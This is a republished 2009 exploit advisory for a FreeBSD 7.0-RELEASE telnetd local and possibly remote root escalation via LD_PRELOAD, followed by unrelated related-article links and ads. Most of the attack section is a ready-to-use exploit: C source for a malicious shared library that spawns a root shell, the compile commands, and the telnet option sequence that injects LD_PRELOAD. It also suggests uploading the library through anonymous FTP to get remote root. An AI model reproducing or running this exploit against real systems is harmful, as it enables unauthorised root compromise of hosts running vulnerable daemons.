FreeBSD 7.0-RELEASE Telnet Daemon Local Privilege Escalation Exploit

简介: [www.sebug.net]The following procedures (methods) may contain something offensive,they are only ...

[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!

FreeBSD (7.0-RELEASE) telnet daemon local privilege escalation -
And possible remote root code excution.

There is a rather big bug in the current FreeBSD telnetd daemon.
The environment is not properly sanitized when execution /bin/login,
what leads to a (possible) remote root hole.

The telnet protocol allows to pass environment variables inside the 
telnet traffic and assign them to the other side of the tcp connection.
The telnet daemon of FreeBSD does not check for LD_* (like LD_PRELOAD)
environment variables prior to executing /bin/login.
So passing an environment variable with the identifier LD_PRELOAD and
the value of a precompiled library that is on the filesystem of the
victims box that includes malicious code is possible.
When /bin/login is executed with the user id and group id 0 ('root') it preloads
the library that was set by remote connection through a telnet environment
definition and executes it.
It is unlikely that this bug can be exploited remotely but is not impossible.
An attacker could f.e. upload a malicious library using ftp (including anonymous
 ftp users), nfs, smb or any other (file) transfer protocol. 
One scenario to exploit the bug remotely would be a ftp server running beside 
the telnet daemon serving also anoynmous users with write access. Then the
attacker would upload the malicious library and defines the LD_PRELOAD
variable to something similar to /var/ftp/mallib.so to gain remote root access.

Here comes the actual exploit which can be executed with standard UNIX tools. 
Paste this into a file using your favorite text editor:
---snip-----
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        FILE *f;
        setenv("LD_PRELOAD", "", 1);
        system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

This will give us an immediate (probably remote) root shell.
This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install
with telnetd enabled. Other version of FreeBSD may also be affected,
OpenBSD and NetBSD where not tested but MAY contain the same bug because
of historic reasons.

Signed,
Kingcope[nikolaos rangos]/2009

http://www.sebug.net/vulndb/4783/
 
目录
相关文章
FreeBSD kernel NFS client local vulnerabilities
* [argp@julius ~]$ uname -rsi * freebsd 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.
712 0
freebsd 8.* 7.* generic private local root exploit Hacktro
http://www.youtube.com/watch?v=uavlQV2FTjU
637 0
|
Unix 网络安全 PHP
FreeBSD 8.1/7.3 vm.pmap kernel local race condition
Author: Maksymilian Arciemowicz http://SecurityReason.
1138 0
freebsd 8.* 7.* generic private local root exploit
http://www.youtube.com/watch?v=uavlQV2FTjU
697 0
|
机器学习/深度学习 Unix Shell
|
3天前
|
人工智能 自然语言处理 Shell
深度评测 | 仅用3分钟,百炼调用满血版 Deepseek-r1 API,百万Token免费用,简直不要太爽。
仅用3分钟,百炼调用满血版Deepseek-r1 API,享受百万免费Token。阿里云提供零门槛、快速部署的解决方案,支持云控制台和Cloud Shell两种方式,操作简便。Deepseek-r1满血版在推理能力上表现出色,尤其擅长数学、代码和自然语言处理任务,使用过程中无卡顿,体验丝滑。结合Chatbox工具,用户可轻松掌控模型,提升工作效率。阿里云大模型服务平台百炼不仅速度快,还确保数据安全,值得信赖。
129300 24
深度评测 | 仅用3分钟,百炼调用满血版 Deepseek-r1 API,百万Token免费用,简直不要太爽。
|
5天前
|
人工智能 API 网络安全
用DeepSeek,就在阿里云!四种方式助您快速使用 DeepSeek-R1 满血版!更有内部实战指导!
DeepSeek自发布以来,凭借卓越的技术性能和开源策略迅速吸引了全球关注。DeepSeek-R1作为系列中的佼佼者,在多个基准测试中超越现有顶尖模型,展现了强大的推理能力。然而,由于其爆火及受到黑客攻击,官网使用受限,影响用户体验。为解决这一问题,阿里云提供了多种解决方案。
16156 37
|
13天前
|
机器学习/深度学习 人工智能 自然语言处理
PAI Model Gallery 支持云上一键部署 DeepSeek-V3、DeepSeek-R1 系列模型
DeepSeek 系列模型以其卓越性能在全球范围内备受瞩目,多次评测中表现优异,性能接近甚至超越国际顶尖闭源模型(如OpenAI的GPT-4、Claude-3.5-Sonnet等)。企业用户和开发者可使用 PAI 平台一键部署 DeepSeek 系列模型,实现 DeepSeek 系列模型与现有业务的高效融合。
|
4天前
|
并行计算 PyTorch 算法框架/工具
本地部署DeepSeek模型
要在本地部署DeepSeek模型,需准备Linux(推荐Ubuntu 20.04+)或兼容的Windows/macOS环境,配备NVIDIA GPU(建议RTX 3060+)。安装Python 3.8+、PyTorch/TensorFlow等依赖,并通过官方渠道下载模型文件。配置模型后,编写推理脚本进行测试,可选使用FastAPI服务化部署或Docker容器化。注意资源监控和许可协议。
1180 8